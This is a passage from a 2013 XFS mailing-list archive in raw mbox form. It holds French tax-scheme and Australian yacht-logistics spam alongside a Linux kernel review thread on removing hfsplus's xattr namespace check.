Content-Transfer-Encoding: 8bit Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Fusce augue magna, lacinia in tempor cursus, sollicitudin tempor leo. Sed consequat nunc a diam semper at suscipit ipsum pretium. Quisque dignissim nibh et enim ultricies rhoncus. In fringilla adipiscing neque, et lobortis augue volutpat eget. Quisque sagittis luctus lectus, at pellentesque dolor hendrerit ut. ========================================== Ce courriel a été envoyé par Loi Duflot à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=1047ecfa&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=1047ecfa&ln=fr --b1_1b1c6768d53b5d2f85aab45b91c96aac Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Loi Duflot 2014
    Effacer mes impots.com
    Effacer mes impots.com
    0e d'impots
    Pendant 9ans avec la loi Duflot
    Guide 2014 Loi Duflot Le guide 2014 + une simulation gratuite
    Effacer mes impots.com
    Télécharger le guide
    Avec la loi Duflot je transforme mes impôts en patrimoine
    Constituez un patrimoine immobilier Préparez l'avenir de vos enfants Percevez des revenus complémentaires Bénéficiez d'une fiscalité avantageuse
    Effacer mes impots.com
    QU'EST CE QUE LA LOI DUFLOT ?

    La Loi Duflot 2014 accorde aux particuliers qui investissent dans un logement neuf BBC, une forte réduction d'Impôt sur le Revenu pendant toute la période de mise en location du logement, d'une durée minimum de 9 ans.

    Sans apport, avec la Loi Duflot 2014 :
            • Je réduis mes impôts
            • Je me constitue un patrimoine
            • Je prépare ma retraite

    Téléchargez gratuitement notre guide pour en savoir plus ICI
    Ce courriel a été envoyé par Loi Duflot à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_1b1c6768d53b5d2f85aab45b91c96aac-- From slava@dubeyko.com Mon Dec 23 00:40:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9D32F7F5D for ; Mon, 23 Dec 2013 00:40:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8DAC18F804B for ; Sun, 22 Dec 2013 22:40:22 -0800 (PST) X-ASG-Debug-ID: 1387780821-04cb6c537d8c7a70001-NocioJ Received: from oproxy9-pub.mail.unifiedlayer.com (oproxy9-pub.mail.unifiedlayer.com [69.89.24.6]) by cuda.sgi.com with SMTP id 5gUtCtUPJxA1vQI2 for ; Sun, 22 Dec 2013 22:40:21 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 69.89.24.6 Received: (qmail 6301 invoked by uid 0); 23 Dec 2013 06:40:59 -0000 Received: from unknown (HELO host202.hostmonster.com) (74.220.215.202) by oproxy9.mail.unifiedlayer.com with SMTP; 23 Dec 2013 06:40:59 -0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=Mime-Version:Content-Transfer-Encoding:Content-Type:References:In-Reply-To:Date:Cc:To:Reply-To:From:Subject:Message-ID; bh=4dRKaw6ZbnRiYfZIczZ8XkgdgT87p+h0wR7O0tDqteE=; b=YA/fUiBvhgKwb4IY/tMhk/9Qok6RJjyZtkMBwNHRCqD5r+74rHwPs2oMOB0/3ywepNscU3zGjZaQkk17hei7jNgAuKQjBzTzzWh32grspBjrOlr3UmG2L2jbIRtSwnlX; Received: from [109.188.127.163] (port=58383 helo=[10.0.0.125]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from ) id 1VuzBc-0002FD-8x; Sun, 22 Dec 2013 23:40:20 -0700 Message-ID: <1387780809.3991.21.camel@slavad-ubuntu> Subject: Re: [PATCH 21/21] hfsplus: remove can_set_xattr From: Vyacheslav Dubeyko X-ASG-Orig-Subj: Re: [PATCH 21/21] hfsplus: remove can_set_xattr Reply-To: slava@dubeyko.com To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Date: Mon, 23 Dec 2013 10:40:09 +0400 In-Reply-To: <20131222192818.GA32565@infradead.org> References: <20131220131635.650823732@bombadil.infradead.org> <20131220132524.900291394@bombadil.infradead.org> <636E01BC-12FD-452B-8B1C-320B6EADAEFD@dubeyko.com> <20131222192818.GA32565@infradead.org> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 109.188.127.163 authed with slava@dubeyko.com} X-Barracuda-Connect: oproxy9-pub.mail.unifiedlayer.com[69.89.24.6] X-Barracuda-Start-Time: 1387780821 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143320 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sun, 2013-12-22 at 11:28 -0800, Christoph Hellwig wrote: > > > > - if (!strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN)) { > > > - /* > > > - * This makes sure that we aren't trying to set an > > > - * attribute in a different namespace by prefixing it > > > - * with "osx." > > > - */ > > > - if (is_known_namespace(name + XATTR_MAC_OSX_PREFIX_LEN)) > > > - return -EOPNOTSUPP; > > > > I think that this check is important. It forbids such combinations as "osx.system.*" or > > "osx.trusted.*", for example. Because "osx.*" is virtual namespace for xattrs that > > it can be under Mac OS X. If you want to set xattr from "system.*" namespace, for example, > > then you need to use another handler. And such namespace should be without > > addition of "osx." prefix. > > Right, and we keep exactly the check, just in a different place. > Maybe I missed something, but I can see that this check is removed only. Could you point out the code in your patch that it checks and forbids such combination as "osx.security.*", "osx.trusted.*" and so on? I can see that is_known_namespace() is called for hfsplus_xattr_osx_handler only. But this method doesn't contain above-mentioned check. Moreover, hfsplus_xattr_user_handler, hfsplus_xattr_trusted_handler, hfsplus_xattr_security_handler will be without is_know_namespace() check. What about it? > > The __hfsplus_setxattr() is common method for all handlers. So, removing > > this call means that we don't check validity of namespace. I don't think > > that such modification is a right way. > > The generic code already checks for the validity of the namespace for > you. xattr_resolve_name in fs/xattr.c makes sure only attributes for a > namespace that the filesystem registered can be set or modified. > But generic code doesn't check such names combination that it is treated as wrong for concrete file systems. For example, "osx.security.*" is wrong for the case of HFS+. Because it will works hfsplus_xattr_osx_handler instead of hfsplus_xattr_security_handler. > > > @@ -841,10 +761,6 @@ int hfsplus_removexattr(struct dentry *dentry, const char *name) > > > if (!HFSPLUS_SB(inode->i_sb)->attr_tree) > > > return -EOPNOTSUPP; > > > > > > - err = can_set_xattr(inode, name, NULL, 0); > > > > Ditto. Moreover, it is used namely hfsplus_removexattr() and not > > __hfsplus_setxattr() for removing xattrs in hfsplus driver. So, removing > > this check is not good way. > > Oh, I just noticed that hfsplus does not use the xattr handlers for > removing, while it does for getting and setting xattrs. That's a really > bad a confusing design, and we'll indeed need to fix that as well. > Why bad design? Do you mean that using .removexattr callback is bad idea? So, if it needs to use xattr handler only for removing then it needs to make some refactoring of using __hfsplus_setxattr() and hfsplus_removexattr() or merging these two functions into one. And I think that merging is better idea. Thanks, Vyacheslav Dubeyko. From 8373744.138335.560@red.mailbank.com.au Mon Dec 23 02:27:15 2013 Return-Path: <8373744.138335.560@red.mailbank.com.au> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.4 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,MIME_HTML_MOSTLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 71E777F61 for ; Mon, 23 Dec 2013 02:27:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 21332AC004 for ; Mon, 23 Dec 2013 00:27:11 -0800 (PST) X-ASG-Debug-ID: 1387787223-04bdf00fe21ac8a0001-w1Z2WR Received: from mail.red.mailbank.com.au (mail.red.mailbank.com.au [202.172.104.226]) by cuda.sgi.com with ESMTP id OCBFlMnKCPVb7xO5 (version=SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Dec 2013 00:27:05 -0800 (PST) X-Barracuda-Envelope-From: 8373744.138335.560@red.mailbank.com.au X-Barracuda-Apparent-Source-IP: 202.172.104.226 Received: from GREEN by mail.mailbank.com.au (RTG Mail Server) with ESMTP id IUX92304 for ; Mon, 23 Dec 2013 19:26:04 +1100 MIME-Version: 1.0 From: "Aurora Global Logistics" Sender: "Aurora Global Logistics" To: "linux-xfs@oss.sgi.com" Reply-To: Date: Mon, 23 Dec 2013 19:26:04 +1100 Subject: Aurora International Yacht Logistics e-newsletter Message-ID: <201312232604.904.8373744@red.mailbank.com.au> X-ASG-Orig-Subj: Aurora International Yacht Logistics e-newsletter Content-Type: multipart/alternative; boundary=--boundary_0_1e418ef7-2a64-47d7-bb26-c5350fef2584 X-Barracuda-Connect: mail.red.mailbank.com.au[202.172.104.226] X-Barracuda-Start-Time: 1387787225 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE, MIME_HTML_MOSTLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.00 HTML_MESSAGE BODY: HTML included in message ----boundary_0_1e418ef7-2a64-47d7-bb26-c5350fef2584 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 KioqIElNUE9SVEFOVCBOT1RFICoqKiANCklmIHlvdSBjYW4gc2VlIHRoaXMgdGV4dCwgeW91IGFy ZSBub3QgdXNpbmcgSFRNTCBlbmFibGVkIGVtYWlsIHNvZnR3YXJlLiANCg0KDQpZb3UgY2FuIHZp ZXcgdGhpcyBlLW1haWwgb25saW5lIGF0IA0KaHR0cDovL21haWxiYW5rLmNvbS5hdS9PbmxpbmUv P0I9MTM4MzM1JkJLPTgwQThBQ0I0MDJDRTQNCg0KKioqKioqIA0K ----boundary_0_1e418ef7-2a64-47d7-bb26-c5350fef2584 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PCEtLSANCioqKiBJTVBPUlRBTlQgTk9URSAqKiogDQpJZiB5b3UgY2FuIHNlZSB0aGlzIHRleHQs IHlvdSBhcmUgbm90IHVzaW5nIGFuIEhUTUwgZW5hYmxlZCBlbWFpbCBjbGllbnQuIA0KDQpZb3Ug Y2FuIHZpZXcgdGhpcyBlLW1haWwgb25saW5lIGF0IA0KaHR0cDovL21haWxiYW5rLmNvbS5hdS9P bmxpbmUvP0I9MTM4MzM1JkJLPTgwQThBQ0I0MDJDRTQNCg0KLSBQbGVhc2UgZGlzcmVnYXJkIGFs bCB0aGUgdGV4dCBiZWxvdyBhcyBpdCBpcyBIVE1MIGZvcm1hdHRlZCB0ZXh0IC0gDQoqKioqKiog DQotLT4NCg0KDQoNCg0KDQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRN TCA0LjAxIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9sb29z ZS5kdGQiPg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIg Y29udGVudD0idGV4dC9odG1sOw0KY2hhcnNldD1VVEYtOCI+DQo8c3R5bGUgdHlwZT0idGV4dC9j c3MiPg0KPCEtLQ0KCgkJCWE6aG92ZXIgewoJCQkJdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmUg IWltcG9ydGFudDsKCQkJfQoJCQl0ZC5wcm9tb2NlbGwgcCB7IAoJCQkJY29sb3I6I2ZmZmZmZjsK CQkJCWZvbnQtc2l6ZToxNXB4OwoJCQkJbGluZS1oZWlnaHQ6NDBweDsKCQkJCWZvbnQtZmFtaWx5 OidIZWx2ZXRpY2EgTmV1ZScsSGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7CgkJCQltYXJnaW4t dG9wOjA7CgkJCQltYXJnaW4tYm90dG9tOjA7CgkJCQlwYWRkaW5nLXRvcDowOwoJCQkJcGFkZGlu Zy1ib3R0b206MDsKCQkJCWZvbnQtd2VpZ2h0Om5vcm1hbDsKCQkJfQoJCQl0ZC5jb250ZW50Ymxv Y2sgaDQgewoJCQkJY29sb3I6IzAwMDAwMCAhaW1wb3J0YW50OwoJCQkJZm9udC1zaXplOjE1cHg7 CgkJCQlsaW5lLWhlaWdodDoyNHB4OwoJCQkJZm9udC1mYW1pbHk6J0hlbHZldGljYSBOZXVlJyxI ZWx2ZXRpY2EsQXJpYWwsc2Fucy1zZXJpZjsKCQkJCW1hcmdpbi10b3A6MTVweDsKCQkJCW1hcmdp bi1ib3R0b206MTBweDsKCQkJCXBhZGRpbmctdG9wOjA7CgkJCQlwYWRkaW5nLWJvdHRvbTowOwoJ CQkJZm9udC13ZWlnaHQ6Ym9sZDsKCQkJfQoJCQl0ZC5jb250ZW50YmxvY2sgaDQgYSB7CgkJCQlj b2xvcjojMDAwMDAwICFpbXBvcnRhbnQ7CgkJCQlmb250LXNpemU6MTVweDsKCQkJCWxpbmUtaGVp Z2h0OjI0cHg7CgkJCQlmb250LWZhbWlseTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGljYSxBcmlh bCxzYW5zLXNlcmlmOwoJCQkJbWFyZ2luLXRvcDoxNXB4OwoJCQkJbWFyZ2luLWJvdHRvbToxMHB4 OwoJCQkJcGFkZGluZy10b3A6MDsKCQkJCXBhZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdo dDpib2xkOwoJCQl9CgkJCXRkLmNvbnRlbnRibG9jayBwIHsgCgkJCSAgCWNvbG9yOiM0MDQwNDA7 CgkJCQlmb250LXNpemU6MTNweDsKCQkJCWxpbmUtaGVpZ2h0OjE5cHg7CgkJCQlmb250LWZhbWls eTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGljYSxBcmlhbCxzYW5zLXNlcmlmOwoJCQkJbWFyZ2lu LXRvcDowOwoJCQkJbWFyZ2luLWJvdHRvbToxM3B4OwoJCQkJcGFkZGluZy10b3A6MDsKCQkJCXBh ZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdodDpub3JtYWw7CgkJCX0KCQkJdGQuY29udGVu dGJsb2NrIGEgewoJCQkgIAljb2xvcjojNDA0MDQwOwoJCQkJZm9udC1zaXplOjEzcHg7CgkJCQls aW5lLWhlaWdodDoxOXB4OwoJCQkJZm9udC1mYW1pbHk6J0hlbHZldGljYSBOZXVlJyxIZWx2ZXRp Y2EsQXJpYWwsc2Fucy1zZXJpZjsKCQkJCW1hcmdpbi10b3A6MDsKCQkJCW1hcmdpbi1ib3R0b206 MDsKCQkJCXBhZGRpbmctdG9wOjA7CgkJCQlwYWRkaW5nLWJvdHRvbTowOwoJCQkJdGV4dC1kZWNv cmF0aW9uOiBub25lOwoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7CgkJCX0KCQkJdGQuY29udGVudGJs b2NrIHRkIHsgCgkJCSAgCWNvbG9yOiM0MDQwNDA7CgkJCQlmb250LXNpemU6MTNweDsKCQkJCWxp bmUtaGVpZ2h0OjE5cHg7CgkJCQlmb250LWZhbWlseTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGlj YSxBcmlhbCxzYW5zLXNlcmlmOwoJCQkJbWFyZ2luLXRvcDowOwoJCQkJbWFyZ2luLWJvdHRvbTow OwoJCQkJcGFkZGluZy10b3A6MDsKCQkJCXBhZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdo dDpub3JtYWw7CgkJCX0KCQkJLmZvb3RlciB0ZC5jb250ZW50YmxvY2sgcCB7CgkJCSAgCWNvbG9y OiM0MDQwNDA7CgkJCQlmb250LXNpemU6MTFweDsKCQkJCWxpbmUtaGVpZ2h0OjE1cHg7CgkJCQlm b250LWZhbWlseTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGljYSxBcmlhbCxzYW5zLXNlcmlmOwoJ CQkJbWFyZ2luLXRvcDowOwoJCQkJbWFyZ2luLWJvdHRvbToxM3B4OwoJCQkJcGFkZGluZy10b3A6 MDsKCQkJCXBhZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdodDpub3JtYWw7CgkJCX0KCQkJ LmZvb3RlciB0ZC5jb250ZW50YmxvY2sgYSB7CgkJCQljb2xvcjogI2ZmZmZmZjsKCQkJCWZvbnQt c2l6ZToxMXB4OwoJCQkJbGluZS1oZWlnaHQ6MTVweDsKCQkJCWZvbnQtZmFtaWx5OidIZWx2ZXRp Y2EgTmV1ZScsSGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7CgkJCQltYXJnaW4tdG9wOjA7CgkJ CQltYXJnaW4tYm90dG9tOjEzcHg7CgkJCQlwYWRkaW5nLXRvcDowOwoJCQkJcGFkZGluZy1ib3R0 b206MDsKCQkJCWZvbnQtd2VpZ2h0OiBub3JtYWw7CgkJCX0KICAgICAgICANCi0tPg0KPC9zdHls ZT4NCjwvaGVhZD4NCjxib2R5IGJnY29sb3I9IndoaXRlIj4NCjxwIGFsaWduPWNlbnRlciBjbGFz cz0idmlld09ubGluZSIgc3R5bGU9ImZvbnQtZmFtaWx5OnRhaG9tYSxhcmlhbDtmb250LXNpemU6 MTBweDsiPlByb2JsZW1zIHJlYWRpbmcgdGhpcyBlLW1haWwgPyA8YSB0YXJnZXQ9Il9ibGFuayIg Y2xhc3M9InZpZXdPbmxpbmUiIHN0eWxlPSJmb250LXNpemU6MTBweCIgaHJlZj0iaHR0cDovL21h aWxiYW5rLmNvbS5hdS9PbmxpbmUvP0I9MTM4MzM1JkJLPTgwQThBQ0I0MDJDRTQmRVVJRD0xMjRG Rjk1QTlCMzI0RkRDQkU0RjU5MEJFQzkzRUJBMSI+VmlldyBpdCBvbmxpbmUgaGVyZS48L2E+PC9w Pg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2VlZWVlZTsi IGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgIDx0Ym9keT4K ICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAg ICAgICAgPHRhYmxlIHdpZHRoPSI2MjAiIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJ0YWJsZSIgYm9y ZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIHN0eWxlPSJsZWZ0OiAzNDdw eDsgd2lkdGg6IDYwNnB4OyBoZWlnaHQ6IDE4NTRweDsiPgogICAgICAgICAgICAgICAgPHRib2R5 PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNs YXNzPSJjZWxsIiBzdHlsZT0iIiB3aWR0aD0iNjIwIj4KICAgICAgICAgICAgICAgICAgICAgICAg PHRhYmxlIHdpZHRoPSI2MjAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5n PSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0ZCBzdHlsZT0iIiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMjIwIj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMzAiIHN0eWxlPSJi b3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNp dGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3NwYWNlci5n aWYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBvbmNsaWNrPSJyZXR1 cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3 NDQmVD0xMzgzMzUmVT01NjBkMDIyZjliNDE2YTE0ZTU0YThjNThlMDU0NmRmNmYwZCIgdGFyZ2V0 PSJfYmxhbmsiPjxpbWcgd2lkdGg9IjE4MyIgaGVpZ2h0PSI1MCIgc3R5bGU9ImJvcmRlci13aWR0 aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgYWx0PSJBdXJvcmEgWWFjaHQgTG9naXN0aWNz IiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0 aWNzL2ltYWdlcy9hdXJvcmFfbG9nby5wbmciPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMzAiIHN0eWxlPSJib3Jk ZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNpdGVz Lm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3NwYWNlci5naWYi Pjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0 LWFsaWduOiBjZW50ZXI7IiB3aWR0aD0iMTg4Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHg7 IGZvbnQtZmFtaWx5OiBBcmlhbDsiPkV4Y2x1c2l2ZSZuYnNwO0F1c3RyYWxpYW4mbmJzcDtBZ2Vu dHMmbmJzcDtmb3I6PC9zcGFuPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPGltZyBhbHQ9IiIgd2lkdGg9IjExMCIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsu Y29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvcG1fbG9nby5wbmciPjxicj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJj b2xvcjogcmdiKDE2NywgMTY3LCAxNjcpOyBmb250LWZhbWlseTogJ0hlbHZldGljYSBOZXVlJywg SGVsdmV0aWNhLCBBcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyBmb250LXdlaWdo dDogYm9sZDsiIHdpZHRoPSIyMDAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBhbHQ9IiIgaGVp Z2h0PSI0NSIgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIg c3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGlj cy9pbWFnZXMvc3BhY2VyLmdpZiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUv cmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzODMzNSZVPTU2MGJmMjVlMzk0MTRiYjQyYzBiZWMyZTIz NWU3MDg2Nzk0IiB0YXJnZXQ9Il9ibGFuayI+PGltZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHN0 eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIGFsdD0iZmFjZWJv b2siIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dp c3RpY3MvaW1hZ2VzL2ZhY2Vib29rLnBuZyI+PC9hPiA8YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7 IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzgz MzUmVT01NjBjMzhlMmU4ZDA1YzY0MWIxYjc5YmUzMjMzZjYwZTFhNiIgdGFyZ2V0PSJfYmxhbmsi PjxpbWcgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0IiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJv cmRlci1zdHlsZTogc29saWQ7IiBhbHQ9InR3aXR0ZXIiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1h aWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3R3aXR0ZXIucG5nIj48 L2E+IDxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20u YXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzODMzNSZVPTU2MGNkMDg4ZDM2YjQ5YjQ5OGFhYmM1 NTg3MzdmMTU4MDdmIiB0YXJnZXQ9Il9ibGFuayI+PGltZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQi IHN0eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIGFsdD0ieW91 dHViZSIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExv Z2lzdGljcy9pbWFnZXMveW91dHViZS5wbmciPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAg 